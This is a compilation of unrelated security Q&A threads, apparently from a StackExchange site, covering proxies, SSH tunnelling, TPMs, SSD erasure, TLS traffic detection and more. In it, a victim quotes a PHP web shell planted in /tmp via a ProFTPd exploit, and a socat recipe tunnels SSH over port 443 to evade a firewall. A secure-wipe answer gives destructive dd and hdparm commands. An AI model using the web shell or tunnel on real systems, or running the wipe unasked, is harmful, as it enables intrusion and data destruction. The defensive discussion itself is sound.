What is a SOCKS proxy? I am having a hard time understanding what a SOCKS proxy really is. I have been searching on Google, but so far, most websites compare SOCKS with an HTTP proxy, but they do not explain in detail what a SOCKS proxy is, and why it can be used to bypass firewalls.

From what I have read, I know that SOCKS proxies forward packets as they are (raw) and they don't actually interpret the data that they send, they simply forward. I understand, for example, that an HTTP proxy understands the HTTP protocol, and with that, they can record these packets if they want, but in SOCKS?

I only know that it is a protocol and it is used to proxy connections but nothing else.

Can you please explain what a SOCKS proxy is, and how it allows connections to bypass a firewall?

what I do not understand is why I would use a SOCKS proxy. I mean, for
  example, Why I would use a SOCKS proxy and not an HTTPS proxy, what
  SOCKS offers me as a proxy

If you are a user, and your administrator offers you a SOCKS proxy but not an HTTPS proxy, then you would use a SOCKS proxy (or vice versa).  It is rare for an environment to give you the choice of both.

If you are an administrator, and wanted to decide which proxy to install, then a SOCKS proxy handles non-HTTP connections better and may be the only proxy supported by non-web-browser clients.  Depending on whether you're enabling or restricting your users with the proxy helps dictate which choice is right for you.

  how it allows connections to bypass a firewall?

Generally speaking, all proxies work the same way.  The firewall permits the proxy to go outbound, but not the clients.  The clients are allowed to talk to the proxy, and the proxy decides whether to resend their traffic onward or not, acting in some ways like a firewall but with different access control criteria.  The firewall is, in essence, trusting that the proxy will control access differently and better than the firewall could (for example, blocking access based on site name rather than IP).


How to ensure if an SSH tunnling failed (if I haven't really tunneled) I tunneled data transition as 22-22 and 2222-80, between my PC and VPS:

ssh user@1.1.1.1 -L 22:localhost:22 -L 2222:localhost:80 -i ~/.ssh/key

To make sure both tunnels were created, I executed lsof -i -n -P | grep ^ssh after logging in to the server.

Here is the stdout. You can see that only port 22 is present, without 2222:

sshd     1785     root    3u  IPv4  17568      0t0  TCP *:22 (LISTEN)
sshd     1785     root    4u  IPv6  17570      0t0  TCP *:22 (LISTEN)
sshd    31511     root    3u  IPv4 447661      0t0  TCP SERVER_IP:ssh->ISP-acronym-LOCAL_IP.ISP-subdomain.ISP-domain:52086 (ESTABLISHED)

My question:

My question can actually be comprised of the following 2 questions:

What might have went wrong so that only a 22 tunnel appears, but no 2222 tunnel? Please advise me what's worth checking in my system and I will update this question.
What is this IPV6 there in the second column? Neither my PC, nor my VPS, has a IPV6 IP.

Notes:

The system I tunnel from is WSL Ubuntu. Very basic; A fresh install with no utilities installed besides fail2ban. I just login with the already existing OpenSSH and that's basically it.

After running netstat -tulpn I did saw to conenctions, one is to port 22, and one is to port 80.

So it seems the tunneling didn't fail.


Attaching hotspot to existing network - can it be secured? I used to work for a company that did wireless hotspots, and this is the challenge that was given to me one day.  I don't believe there is a secure solution to it, but it still bugs me for some reason.

We wanted to ship a wireless hotspot device (an ALIX board running monowall) to a location where we don't know anything about the network, so we have no idea what IP addressing they are using, and be able to have a non technical user just plug it into their existing router and Just Work.

All the networks would be simple small office modem/NAT routers, so the hotspot can use DHCP on it's WAN side to connect to the internet.  I pointed out that anyone on the hotspot could also access the office computers, since it considers that to just be another part of the internet.  The hotspot is free and open wireless access for anyone in range - a lovely target for an attacker.

Try as I might, I couldn't find any way to solve it that I considered to be secure enough.  In the end, I refused to set them up this way, and we had to go out and reconfigure things so our router connected before the office machines and could isolate the office network and the wireless clients.  But the problem still bugs me from time to time.

So my question is, is there anyway to securely setup the network in the diagram below if you only have control of the hotspot device, and don't know anything about the rest of the network in advance?

For the purposes of this question, I'm not concerned with what people on the wireless can do to each other, or what they can do on the internet.  The only concern is protecting the office PCs from people connected to the hotspot.

I know this question is a bit old, and already has an accepted answer.  But I thought I could add to it for those who find it still.

I'm possibly missing something here since I'm not quite a network expert, but since you are running m0n0wall, you have access to some pretty advanced firewall and routing features.  As a sidenote,  pfSense is a fork of m0n0wall that has gotten a lot more attention lately and might be easier to use.

Assuming you have full control of the devices, and they have very configurable routing, you should be able to block off all the not-publicly-routable ip addresses.  This would make it so anyone connecting on the hotspot could be routed to Internet addresses, but not to anything internal since the internal IPs will (with rare, usually poorly planned, exceptions) be in the non-routable address space.

The ranges set aside for such internal networks (that you would block the hotspot from routing to) are as follows:

IANA-reserved private IPv4 network ranges

10.0.0.0    10.255.255.255
172.16.0.0  172.31.255.255
192.168.0.0 192.168.255.255

Furthermore, you should be able to setup multiple Wireless access points from this single device so that you would be providing the added service of a secure INTERNALLY routable connection as well.  The public hotspot would be blocked from internal addresses, but anyone connecting to the other secure signal would not be blocked. This is great with so many business users relying on wifi connections to avoid the inconvenience of connecting wires to everything.

When I think more about it, I'm pretty sure many consumer grade wireless routers have guest network features built in that do exactly this when you plug in the WAN on their WAN port and the rest of the network on the LAN ports.  But if you are adding custom features, something like pfSense is the way to go.


Is TPM ownership required for secure boot or measured boot? I know:

Secure Boot - can use the TPM
Measured Boot - must use the TPM

Can anyone intimately familiar with these processes explain if any TPM owner-authorized commands are required or used in these processes?

Background:
I am using a TPM in an enterprise application.  I need to own it and certify my own root-of-trust for reporting.

However, out of the box, my TPM chip is owned, I'm assuming for UEFI stuff, as above.

I don't necessarily want to disable secure boots, but I do need ownership of the chip.

I'm hoping if I take ownership I can do what I want to do, and the UEFI and secure boot code can still do what it needs to do, simple key operations, checking signature, etc. without actual ownership.

Anyone know?  If I clear the TPM and take ownership, what will happen if the OEM/PC manufacturer already owned it for UEFI?

From what I can tell in this guide, and I preface this that I'm not an expert in TPMs, taking ownership of a TPM does not affect the Secure Boot options for an operating system.

Taking ownership of a TPM means resetting the keys within the TPM with a new ownership password.  In Microsoft Windows at least this means that the TPM is consulted for any administrative privileges that are required.

Secure Boot/UEFI is a separate process that occurs during boot time.  It does use keys from the TPM, but they're different from the "ownership keys".  The TPM holds several different keys within its hardware to confirm the bootloader, or administrator privileges, etc.


What's the best way to securely obtain and submit a Malware Sample for analysis? We get a lot of spam/phishing emails with suspicious attachments and i will like to know the best way to submit this for analysis without getting your own system infected.

I currently save the file locally and then upload to a site like virustotal, malwr.com or mcafee. but i feel its possible malware can execute based on copy and paste. Please help

I don't think you have to worry about malware running from within the clipboard, unless you're manually pasting commands in an attached file into your terminal.

I guess they could try to read/write to the clipboard via some browser, see here https://stackoverflow.com/questions/5551338/how-to-read-clipboard-data-in-cross-browser

On a more serious note, a general rule of thumb when dealing with malware is to do so in an isolated environment, such as within a virtual machine with limited access to its host, and if it has an internet connection, maybe add firewall rules so that it can only ever connect to a white-listed analysis website.

One of my favorite "hacking" scenes in any movie was in the bond movie, Skyfall. In the film, the young and (apparently) foolish Q decides that it is perfectly safe to plug in the villain Raoul Silva's laptop into MI6's network with a direct connection to his personal work machine. And then they wondered why Silva was able to hack them in the first place...

As you've probably discovered, whenever you're dealing with a foreign object on a network, the best way to deal with it is to keep it quarantined. Whether that means ignoring spam emails or trying to open them in a virtual environment is up to you. Personally, I'd opt for the former.


Can an eavesdropper detect the use of a TLS client-side certificate? Basically what the above says, assuming the eavesdropper must be completely passive, and cannot connect to the server to check if the server requires a client certificate.

Yes, the client certificate is sent in the clear if the server sent a certificate request.

Some servers (IIRC, Microsoft IIS) first perform handshake with no user authentication and then start a renegotiation asking for client certificate. The renegotiation is thus encrypted using the cipher suite negotiated in step 1 and the client certificate is encrypted on the wire.

If in doubt, use wireshark.


XOR-Cascade of weak hash secure? I have following theoretical question:

Let H(X) be a hash function which is considered as weak because collissions can be produced (e.g. SHA1, MD5).

I wonder if following functions:

H2(X) = H(H(X)) xor H(X)
H3(X) = H(H(H(X))) xor H(H(X)) xor H(X)
H4(X) = ...

can be considered as safe, if H(X) is considered as unsafe. If the attacker could find a collission in H(X), he would need to additionally find a collission in H(H(X)) too, to be able to have a collission in H2(X) = H(H(X)) xor H(X). Or is it still not secure? (Why?)

I am aware that such a cascade is not performant in comparison to a newer hash function like SHA256 or SHA3.

No. A collision for H is a pair of inputs m and m' such that m ≠ m' but H(m) = H(m'). It follows that H(H(m)) = H(H(m')), and also H(H(m)) xor H(m) = H(H(m')) xor H(m') , and so on.

Thus, any collision for H is also a collision for all your functions H2, H3, H4... These functions are thus in no way more secure than H when considering resistance to collisions. They may very well be less secure, even, since your premise is wrong:

  If the attacker could find a collission in H(X), he would need to additionally find a collission in H(H(X)) too, to be able to have a collission in H2(X) = H(H(X)) xor H(X).

This is not true. If an attacker finds a collision for H that also collides for H(H), then he gets a collision for H2. But that does not work the other way round: there is no absolute requirement for a collision on H2 to be such that it is a collision on both H and H(H).

Thus, all collisions for H are collisions for H2 (and H3, H4...) but H2 can have collisions of its own that are not collisions for H. Finding collisions on H2 can thus only be easier than finding collisions on H.


Register a new client with self-signed certificate I'm trying to understand a series of steps for an authentication system I want to replicate. The steps are executed by this script. To sum up, it does the following:
It runs in a Raspberry Pi and the main objective is to register  and login the device in a server.

First, runs openssl in the RPI to generate a private key.
Then, it requests the server a token for the new device.
With the token and the private key,  generates a certificate signing request, again with openssl.
Finally, submits a "CSR with activation request" to the server API that receives a certificate in case of success.

I understand all steps except number 4.

What does the server do in this step to validate the request?
And how it generates the certificate (is this the self-signed certificate?)?
Finally, how will this be used in the future for the authentication process (asking here for the general idea, not the code)?

What does the server do in this step to validate the request?

The request includes a device specific token which has to be obtained for the registration can be finished. From the script:
if [ -z "$TOKEN" ]; then
    echo "Visit the Alohacam dashboard to obtain an activation token for this device:"
    echo "    $DASHBOARD_URL/devices/"

And how it generates the certificate (is this the self-signed certificate?)?

This is unknown. I cannot find any information in the documentation there is no source. From the README:

We're not planning a public release of our code base ...

But actually, it does not really matter. All what matters is that the certificate will be trusted by whoever accesses the device. I'm pretty sure that the certificate will not be issued by a publicly trusted CA (since no public domain names are involved). So it will either be a self-signed certificate or a certificate issued by a private CA. In both cases normal clients (like browsers) will initially not trust the certificate.

Finally, how will this be used in the future for the authentication process (asking here for the general idea, not the code)?

Again, there is no code. But based on the statement from the README a TLS connection will be initiated to the device and the generated certificate will be used to authenticate the device, i.e. the usual way of how TLS works:

We use client side SSL/TLS encryption. The Alohacam install script will auto-generate a certificate for your device. This certificate never leaves your device – we don't store it or have access to it – and you can even use your own. When a connection to your device is initiated, your browser will create a dynamic certificate (through DHE key exchange) that is valid only for that session. Both certificates use X.509 standards. We designed these security measures to ensure that only you will be able to view your Alohacam!

Actually, the last part about the browser creating a dynamic certificate through DHE key exchange does not make sense for me. I'm not sure if this is just badly worded, that they did not know what they were talking about or if I'm too stupid to understand it.


Best current methods for preventing data leakage from SSD I'm wondering about the current best practices for ensuring data confidentiality on an SSD used as an OS boot drive (under Linux). Important considerations are:

Ensures against data leakage in the usual conditions (stolen drive, &c.; protection of data in motion is of course a separate question)
Allows for comprehensive and secure data erasure on demand, preferably under pure software control
Does not overly interfere with normal usage

The obvious first step is to use full-disk encryption, here LUKS. This more or less satisfies condition 1 (or should). It also greatly helps condition 2, since in theory if the header is wiped the remainder of the data becomes permanently inaccessible. However, on an SSD there are some potential issues with this.

Question 1: What is the best way to securely erase a specific area (the LUKS header) from an SSD? The TRIM command is apparently intended for this, but I'm unsure of its reliability. On an HDD I would feel fairly confident just repeatedly overwriting the blocks in question, but apparently wear leveling can prevent this from working in SSD.

Question 2: Absent the ability to destroy the header alone, what about wiping the entire disk? Intuitively, repeatedly overwriting the entire disk should prevent wear leveling from being a problem, since all sectors would eventually be overwritten. However, this seems unwise to rely on, given the possibility of e.g. still-readable sectors being marked bad and excluded from the mapping table. Is the Secure Erase command now reliable? There's a study from around 2010 that says that it was not in many disks then available; do more recent data exist? (It seems that at least some disks now use their own internal encryption, and implement Secure Erase by overwriting the keys used there. This is fine, if it actually works, but closed-source and non-auditable mechanisms implemented within the drive itself don't fill me with confidence.)

There's also the possibility of using something like LUKS' detached-header mode to prevent key data from ever being stored on the SSD itself. This would require some nonstandard configuration on the system, but nothing unreasonably difficult. However, it does introduce a chicken-and-egg problem of ensuring that the device with the header is itself secure and capable of erasure. If I store the header on a separate SD card or flash drive, is erasing this actually any easier? What other kind of device could be used?

The short answer to your first question is that if you don't trust the secure erase implementation, and your drive uses wear leveling, you can not be satisfied all data is completely removed from the SSD without physically destroying it. [1]

A method to add some additional peace of mind to the secure erase would be to try to erase as much as possible before hand.  For example, by overwriting the whole device and then running secure erase after as shown here:

# dd if=/dev/zero of=/dev/X bs=4096
# hdparm --user-master u --security-set-pass <PASS> /dev/X
# time hdparm --user-master u --security-erase <PASS> /dev/X

Where "X" is your device, and  is a password.  There are guides here that can provide more detail about wiping using dd:

https://wiki.archlinux.org/index.php/Securely_wipe_disk

And using secure erase:

https://ata.wiki.kernel.org/index.php/ATA_Secure_Erase

The dd command should zero out all storage that is not held in reserve or bad, and the secure erase "should" get everything. The only question I am left asking is how the wear leveling works - it may be possible that running the dd command multiple times might overwrite blocks that were not written to the first time - but this would require knowledge about the wear leveling I do not have.

This would of course erase the whole device (as in your second question), not just a section. To erase a section you could overwrite the data, as well as all the free space instead of the whole device.  This can be done using dd, with the output going to a file instead of device. It would need to be done as root to ensure the space reserved for the root user gets overwritten as well. This adds the filesystem layer to the procedure so may not get all the storage due to restrictions there.

If you put the header on a separate device, you could simply use a device you are willing to physically destroy to ensure the header is not recoverable. Another option is to use a secure device (such as a NitroKey/SmartCard) to store store the key (or perhaps even the detached header), which could be long enough to ensure brute-force attacks are not feasible on the storage device.

[1] If there is some way you will trust secure erase; eg. reverse engineering or otherwise obtaining information about the secure erase feature on the drive, then running secure erase would do it of course.


PHP code in filename located in /tmp folder. How worried should I be? I recently discovered a hidden file in /tmp owned by proftpd that worries me a bit:

-rw-r--r--  1 proftpd         nogroup       <timestamp>       86  .<?php eval($_REQUEST[cmd]); ?>

I tried to see its content in a text editor, but this was probably a bad move since it alters the last access time property. Anyway here is the output from stat:

  File: ‘/tmp/.<?php eval($_REQUEST[cmd]);?>’
  Size: 86          Blocks: 8          IO Block: 4096   regular file
Device: fc00h/64512d    Inode: 175564      Links: 1
Access: (0644/-rw-r--r--)  Uid: (  113/ proftpd)   Gid: (65534/ nogroup)
Access: <another-timestamp>
Modify: <one-timestamp>
Change: <one-timestamp>
Birth: -

Checking the proftpd log at the time the file was modified gives me a lot of entries like this:

<timestamp> <myhost> proftpd[9114] localhost.localdomain (<some-naughy-domain>[<IP>]): error opening destination file '/var/www/public_html/<hosted-domain>/www/dbvar.php' for copying: No such file or directory

Could this file be used as part of an exploit?

I am working in a LAMP server environment.

It seems that someone is using this exploit:

ProFTPd 1.3.5 - File Copy

https://www.exploit-db.com/exploits/36742/

Here is also CVE-2015-3306:

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3306

Check your proftpd version proftpd -v, if it's still old version then update to 1.3.6rc1. If you want something better, then consider to use sftp and not ftp.


Does cropping a picture change or remove properties like geotag data? When you crop a picture to send via your smartphone for example (WhatsApp), what happens to its properties such as GeoTag data, date the phot was taken and so on?

I want to make sure I do not disclose such information to other people.

This depends entirely on the application used for editing the picture.

The application can retain the metadata, remove it and/or replace it with own metadata.

When you want to make sure that no incriminating metadata remains in an image, edit it with an image editor which allows you to view and edit all metadata fields of the image. For recommendations, check out https://softwarerecs.stackexchange.com

But be aware that when you sanitize an image before sending it, the sending application might add additional metadata. With an application like WhatsApp, which is closed source, frequently updated, stores unencrypted messages on its own server and is owned by a company with a post-privacy mentality, it is hard to tell if, under what conditions and what kind of metadata it might add to your messages. Possible information an application like WhatsApp has available and could embed in a sent image are for example:

Application-specific username
Unique identifier of sending device
GPS location when sending the image
Time when the image file was created and last changed on the device filesystem
Time when the image was sent and received


Identify HTTPS vs Application SSL Traffic Scenario A:
A user points his web browser to https://users.server.com. The website completes the SSL handshake and continues with the HTTP protocol inside SSL.
Scenario B:
(server-side)
Now, let's say users.server.com is modified to run this socat:
socat OPENSSL-LISTEN:443,cert=path_to_cert TCP4:127.0.0.1:22

(client-side)
Then, the user has the following socat running:
socat TCP4-listen:6666 OPENSSL:the.server.host.com:443
Then, the user points his PuTTY client to localhost:6666 effectively establishing an SSL'd SSH connection to the.server.host.com:22.

Is there any way to distinguish the traffic from the above scenarios? My concern is that a user inside my network could effectively circumvent our firewall by piping any TCP traffic out through SSL on port 443. Would this traffic look any different than HTTPS traffic? Are there differences in the SSL handshake types? We have mechanisms in place to drop any non-HTTP on port 80 and non-SSL traffic on port 443 through our HTTP proxy. (all other outbound is blocked). I'm hoping I can only allow HTTPS (SSL'd HTTP) on port 443.
The attack is detailed here (pdf).
I'm aware that if I can install a root CA certificate on the user's machine, I could mitm the SSL. But that's not feasible. I am more interested in detecting this at the network layer. Preventing may be another measure.

As @aus indicates, you can try to observe the exact characteristics of the ClientHello and other SSL features (e.g. how messages are split over records) to get some indication about whether the client is a genuine Web browser, or not. However, this is not robust:

Different browsers act differently in that matter. You may be engaging into a never-ending uphill quest, with continuous evaluation of all major browser versions.
An OS/browser update may change its usage patterns (e.g. some cipher suite becomes enabled by default), so your detection mechanism may be plagued with surges of false positives at some unpredictable moments (when Microsoft / Mozilla / Google decides to push some technical update).
If users are aware of such fingerprinting then they may begin to use clients who mimic the features that you are trying to detect. "Perfect" emulation of the SSL characteristics of a "normal Internet Explorer" is possible. Provide an incentive (a detection mechanism which triggers retaliation), and it will happen.

You might want to make some traffic analysis based on the timing and size of requests; when a browser connects to a server, it will first send a request with a header whose size depends on a lot of things, but will not be too small. In the specific case of SSH-within-SSL, there is a nifty underhanded way by which distinction is easy: add a delay.

Specifically, when a Web server receives a connection, it waits: the client is supposed to send a request. From the outside, you observe a SSL handshake, culminating in the two Finished messages (they would show up as "encrypted handshake" since you are monitoring from the outside), then the client will send an "application data" record (in SSL, record contents are encrypted, but the type of the record is not: it is either handshake, alert, change_cipher_spec, or application data). As long as the "application data" from the client is not sent, the server will wait.

With SSH, however, things are different. As soon as the connection is established, the client and the server send each other their "banner" (which indicates protocol version and so on), in no particular order. Therefore, when your monitoring tool sees a new SSL handshake, it may temporarily delay the first application data record from the client (by, say, 0.5 seconds), to see whether the server would spontaneously send an "application data" record of its own without waiting for the record from the client. If the server does it, then it is not speaking HTTP within the SSL tunnel.

Of course, if you begin implementing such a detection mechanism, users will adapt, by modifying their SSH clients and servers to make the servers wait for the client banner before talking. This is likely to degenerate into the same kind of sterile warfare as between virus and antivirus. This is, in the long run, exhausting.

Apart from SSH, your biggest problem will be Web proxies. Namely, the user:

Controls an external Web proxy.
Runs on that external machine a SSL server which simply forwards data bytes to the Web proxy.
Runs on his local machine a simple process which listens on local port 3128 and forwards all data to the SSL server.
Configures his browser to use "localhost:3128" as proxy for Web requests.

With this setup, all the user's Web browsing of the server will go through the SSL connection, out of reach of your monitoring systems; and, crucially, all the requests will be HTTP requests from a normal Web browser, thus indistinguishable from HTTP requests from a normal Web browser. This ultimately defeats traffic analysis.

The conclusion is that what you are trying to do is to fight a war that you cannot win. I suggest you begin looking for alternate models. One way to look at it is the following: if you allow BYOD on your workplace, then you must trust employees for not abusing it, and for enforcing good security practices on themselves.


why do I get an email with address of Me'.exe' I am wondering if there is a security issue with this. I use Mozilla, and I got an email with Me, '.exe' <myemail@server.com>. I have never seen this. What is it? Is it a way to send mass email? I searched online, and it has something to do with PoserShell. I just don't want to be at risk.

As you can see .exe shows up right before my email address.

Update - I uploaded it in Virus Total, and it seems to be clean.

Normally this seems to look like an error because it is really exposed, suspicious and because it is right in the title of the email. If there is an attachment I do not advise you to open this up in your real enviorment with an antivirus. As a matter of fact do not open it at all.

However this seems some sort of adware according to a specific site, either way if your that curious download a VM and open it up simulating a sandbox enviorment and execute it to see.


Where can I find good resources on reversing web malware? I am wondering where I can find a good site with resources on reversing web malware like javascript, flash, html5, and any other stuff that is designed to attack the clients.

Does anyone have any good resources on this?

Check http://wepawet.iseclab.org/ is an online malware checker for URLs. It is worth reading their reports. A bit outdated but a good tool for hunting samples: http://malzilla.sourceforge.net/. Javascript deobfuscator: https://addons.mozilla.org/en-US/firefox/addon/javascript-deobfuscator/ and for a Javascript debugger look for Venkman or Firebug.

An online javascript "unpacker": http://jsunpack.jeek.org/dec/go and if you extract the shellcode you can emulate it on http://libemu.carnivore.it/


How to generate easy to type passwords without sacrificing security? How can one generate a password that is easy to type but does not sacrifice security? An example of a password that is easy to type but sacrifices security (I imagine) would be qwe123!@#.

For this question, we'll use a pretty lax but standard password policy. Let's say:

8+ characters
At least 1 capital letter
At least one number
At least 1 symbol

I am hoping this will take a little bit of the "usability" aspect out of the old adage "Security at the cost of usability comes at the cost of security". I am aware that a password manager or something like that would be a more ideal solution but not everyone is willing to incorporate something like that.

** After reading all the answers and comments here. My original intent for "easy to type" was something along the lines of near each other on the keyboard or alternating hands with smooth transitions between, which is why I accepted the answer I did. That said, the other answers (and the accepted one) have made me realize that I have been thinking about this the wrong way.

Mandatory "Use a Password Manager!". But you seem to already be aware of this. Moving on.

There are any number of tricks. In my experience, "easy to remember" and "easy to type" typically means "full English words"; my fingers/brain have a much easier time with words than they do with arbitrary sequences of characters. Two systems that come to mind are:
Diceware
Grab yourself a copy of the Diceware word lists [Article], [large_wordlist.txt] and roll some dice! This list of 65=7,776 unique words was carefully selected to be easy to remember. Wikipedia gives these examples as typical diceware passwords:

conjoined sterling securely chitchat spinout pelvis
rice immorally worrisome shopping traverse recharger

Also: mandatory XKCD advocating passwords of this style.
Passphrase
I'm an advocate that we should ditch "password" from the English language - since it encourages people to think in terms of single words - and with the exception of a few especially moronic banks, all systems accept spaces in passwords now, so why not think in terms of "passphrases"?
A clever trick that I heard of is to set a passphrase that represents some personal-life goal you want to achieve or fact you want to remember. A) since you type your passphrase many times a day, it's a natural reminder to do the thing, and B) once you accomplish the thing, you have a natural reason to change your passphrase! The following would be examples that would naturally want to change after a month or so:

"update $% on my 401(k)"
"get under 10 Smokes/day"
"Sandy's baby due on Aug 24th"
"plan Grampa's 80th b-day party"

[ps. I'm waiting for the flame war on this suggestion. My generic answer: use a longer passphrase!]


How to scan PHP code for vulnerable functions? I saw a pentest report and there was a section where the pentester list all the functions that are vulnerable in PHP.
How did he scan the code and what tools can be used, and is it possible to do it without having an access to the files?

For example:

  PHP "phar_fix_filepath" function stack buffer overflow vulnerability

It's important to note here that phar_fix_filepath is not a PHP function that your web app uses. It's a function in the C source of the PHP engine. You security issue that the pentester is referencing is probably CVE-2015-5590:

  Stack-based buffer overflow in the phar_fix_filepath function in ext/phar/phar.c in PHP before 5.4.43, 5.5.x before 5.5.27, and 5.6.x before 5.6.11 allows remote attackers to cause a denial of service or possibly have unspecified other impact via a large length value, as demonstrated by mishandling of an e-mail attachment by the imap PHP extension.

So what has the pentester done here? She has probably checked what version of PHP you are using (by default this is conveniently displayed in a HTTP response header, but it can also be found through fingerprinting). Then she just needs to check any list of known vulnerabilities to see which ones affect that version.

But does the pentester know that your code results in this function being executed and that the vulnerability can be exploited? Probably not. My guess is that she is satsified with pointing out that the PHP version is vulnerable, no matter if your app is affected or not. And honestly, that is bad enough. Even if this can't be exploited at the moment, the slightest change in the source code might change that fact. You need to upgrade your PHP engine no matter what.

With that view, you don't need access to the source code, since the analysis is based only on the version number. If one were to determine if your app can actually be exploited, access to the source code would help a lot, though.


Guidelines for TLS cipher suites? Other than OWASP, are there any other guidelines for recommended TLS/SSL versions as well as their specific cipher suites?

Mozilla: https://mozilla.github.io/server-side-tls/ssl-config-generator/
SSL Labs: https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices
Cipherli.St: https://cipherli.st/
OWASP: https://www.owasp.org/index.php/SSL_Best_Practices

And here: especially the "Related articles" section at the bottom: https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet

Similar question: Now that it is 2015, what SSL/TLS cipher suites should be used in a high security HTTPS environment?


SPAN traffic for "Internet to Ext FW" Is it advisable to mirror the traffic between the internet and the external firewall while the management interface is accessible from within the network? This is to perform packet capture and security analysis.
The box has 2 NICs. One is for packet capture which where the traffic is mirrored and sent to the box. The other interface is the management interface in the internal network.

Since the traffic going back and forth between the "Internet and External firewall" is being captured by the box which is also accessible in the internal network (in a way bypassing all firewalls and controls), can the box be compromised and then get into the internal network?

Generally not advisable.  To prevent possible bypassing of the firewall, consider adding a management zone/DMZ where the management interface would be connected. Traffic would have to pass through a firewall from the internal network to access the management interface and deny any traffic initiated from the management zone/DMZ to the internal network.

Bonus: If you have many zones of varying security levels, dedicate a firewall to the management zones/DMZs.


Does DNSCrypt mask/hide the URLs I visit I use DNSCrypt (https://dnscrypt.org/) and I'd like to know whether it's useful to mask/hide from my ISP (Telecom) the HTTP requests I make in my browser.
And how does it protect me?

Thanks

... whether it's useful to mask/hide from my ISP (Telecom) the HTTP requests I make in my browser.

From the homepage of dnscrypt:

  Please note that DNSCrypt is not a replacement for a VPN, as it only authenticates DNS traffic, and doesn't prevent "DNS leaks", or third-party DNS resolvers from logging your activity.)

Thus the answer to your question is: NO, it does not hide the DNS requests from your ISP. DNSCrypt is not a privacy tool but only prevents spoofing of DNS responses.


Why is "hovering over" a link in an email considered safe? Or is it harmful? We are using a browser based email client and the email content is in HTML.

One of my employers told us that if we receive a suspicious email with links, we have to hover over the link (to check that it is not spoofed) before clicking it. Hovering over triggers an action to display the underlying link in the browsers status bar. However, would someone be able to spoof this action and try to do something funny?

This is a similar thread but it discusses thumbnails of attachments and not links in the email.

One of my employers told us that if we receive a suspicious email with links, we have to hover over the link (to check that it is not spoofed) before clicking it.

When you mouseover a link, the value of the href attribute  is displayed in the status bar. Since this is the link target, it can give you an idea about where the link is going.

  would someone be able to spoof this action and try to do something funny?

Generally, yes. The actual link target can be "spoofed" using Javascript: It is quite common for websites to exchange the href value with another link as soon as the user clicks on it. For example, you can observe this when visiting Google search results. When you mouseover one of the links, it will be displayed as https://security.stackexchange.com/... but as soon as you click it, that event is captured and you visit an intermediate site first (https://www.google.com/url?...) which redirects you to the actual target.

But any well-designed (web-based) mail client will not execute any JS in HTML e-mails. Active script content in e-mails is  dangerous - not only because it potentially results in an XSS flaw in the mail client but because it can also be used to run JS-based exploits against the browser or simply inform the sender that you have opened the mail.

So, if your mail client disallows JS in e-mails -  which it most likely does -  then the link displayed on mouseover is indeed the correct link target. But you should be aware of other attempts to deceive you, such as homograph attacks or an overly long URL that disguises the actual target domain. It's not as easy to analyze an URL in the status bar as it is from looking at it in the address bar. In a more advanced attack, the attacker could also have compromised a legitimate site beforehand (e.g. through a persistend XSS flaw) and you won't be able to tell from the link at all that the site now actually hosts dangerous content.


Managing security of a desktop/mobile app I'm working on an app that stores sensitive data (think of it as a password locker) for the UWP (Universal Windows Platform).

The most important requirement is the ability to roam the data between user's devices, so that the user can add his password on desktop and have it automatically synced on mobile.

Of course this opens to potential issues, as the data must be encrypted before storing and syncing it.

To make things harder, I'd also like to give the user to login into the app by using a short PIN or Windows Hello (biometric or PIN).

The whole scenario requires a lot of attention on different things:

To avoid asking for password everytime the user adds/deletes data, I need to keep it somehow in memory for the whole session, so that I can encrypt and save the data everytime a change happens. Keeping it in memory doesn't seem the best choice to me, as memory can be read by potential attackers, but I can't think of anything better.
If the user chooses to use a PIN as password replacement, we still need to know the password to be able to encrypt/decrypt data, so I thought that I may use this PIN to encrypt the master password and sync the encrypted password alongside the encrypted data (and maybe the hashed PIN, so that the same PIN can be used on another device). Is this a good idea?
If the user chooses to use Windows Hello, things are a little bit harder: Hello generates a key that depends on both app and current device, so the same app will have different keys on different devices, and this defeats the purpose of using Hello in my case, as I won't be able to encrypt the master password with Hello key and use it on another device. My idea, for now, is to use user's data (for example the email or an account id) to encrypt the master password, and use Hello only as a gateway to the app, but this will require my app to ask for permissions on each device, meaning that the user will need to run the initial setup on each device (and I'd like to avoid that). This also means that the email or the account id should be synced with the rest of app data, potentially giving away both the encrypted password and its key. What would you do in this case?

I'm well aware of the existence of a PasswordVault that I could use to store the master password, so that I can just use PIN or Hello to access the Vault, but my previous experience was awful, as user's data syncing was faster than Password Valut's one, leaving the app in an inconsistent state (e.g. having user data on the new device but no key to decrypt them).

I understand that the question may be too broad and that I can maybe lower my requests, but I'd like to do things in the best possile way.

Not really sure why you think this is that hard?

I'm afraid I'm not sure why you want to create a new password store app either when  many already exist? If you feel the need for another app with some new features, please consider using an existing secure back-end such as the excellent KeePass. This has already solved the secure storage issue.

Then all you need to do is to make use of the Windows Passport libraries to use Windows for SSO though I'd have to say that personally, I wouldn't use such an app as most people configure their mobile login for convenience as much as for security and I wouldn't consider that secure enough for my password management tool.


Watching for applications like WireShark and other eaves dropping on corporate network Are there ways to monitor and check for network monitoring like WireShark?

Or would it just be more ideal to ensure every application uses SSL to ensure no employee or anyone could packet sniff chats/emails for information.

There is no way to do that unless you can monitor the installed programs on your users´ PCs with a software like EMCO Software scanner.


Dealing with a DDoS: horizontal vs vertical scaling? I'm reading this paper about DDoS protection in AWS. One of the benefits of EC2 is that depending on the instance, it can scale for minimizing the effect of the attack.

In the paper there are two possible ways of scaling:

Horizontal: add more instances.
Vertical: increase the resources of the instances.

Which one is better?

Short version:

When possible, horizontal is better because it has more scope to scale; vertical is limited by the amount of resources you can pack into a single instance.  But some applications cannot be scaled well horizontally, and for those applications vertical is the better choice.

Long version:

Can it go horizontally?

Many applications are not designed to go horizontally.  An application that uses local files, for example, cannot share them with an instance on another system.  If files are made available to another system using, say, NFS, the file locking available may not be sufficient for resource contention and coordination.

Designing an application to be horizontal imposes complexity.  And even an application that was defined to go horizontally - say, a web tier with a number of machines working with a backend database server - may have limits.  It may be that each web frontend consumes 1/10th of database server capacity - so what happens when you amp it up to 11?  The database becomes a bottleneck.  You go back to step 1 and repeat the horizontal architecture work you did to apply the database server as well, and the system again mushrooms in complexity.

Horizontal systems are hard.  Vertical systems are the default.  Therefore, often vertical scaling is the only thing you can throw in front of a DDoS.

Wins you get with horizontal scaling

If you can go horizontally, however, there are a number of wins that make it superior.

Cost - If you need 10, two 5x boxes are a little more expensive than one 10x box.  But if you need 20, four 5x boxes are probably cheaper than one 20x box.
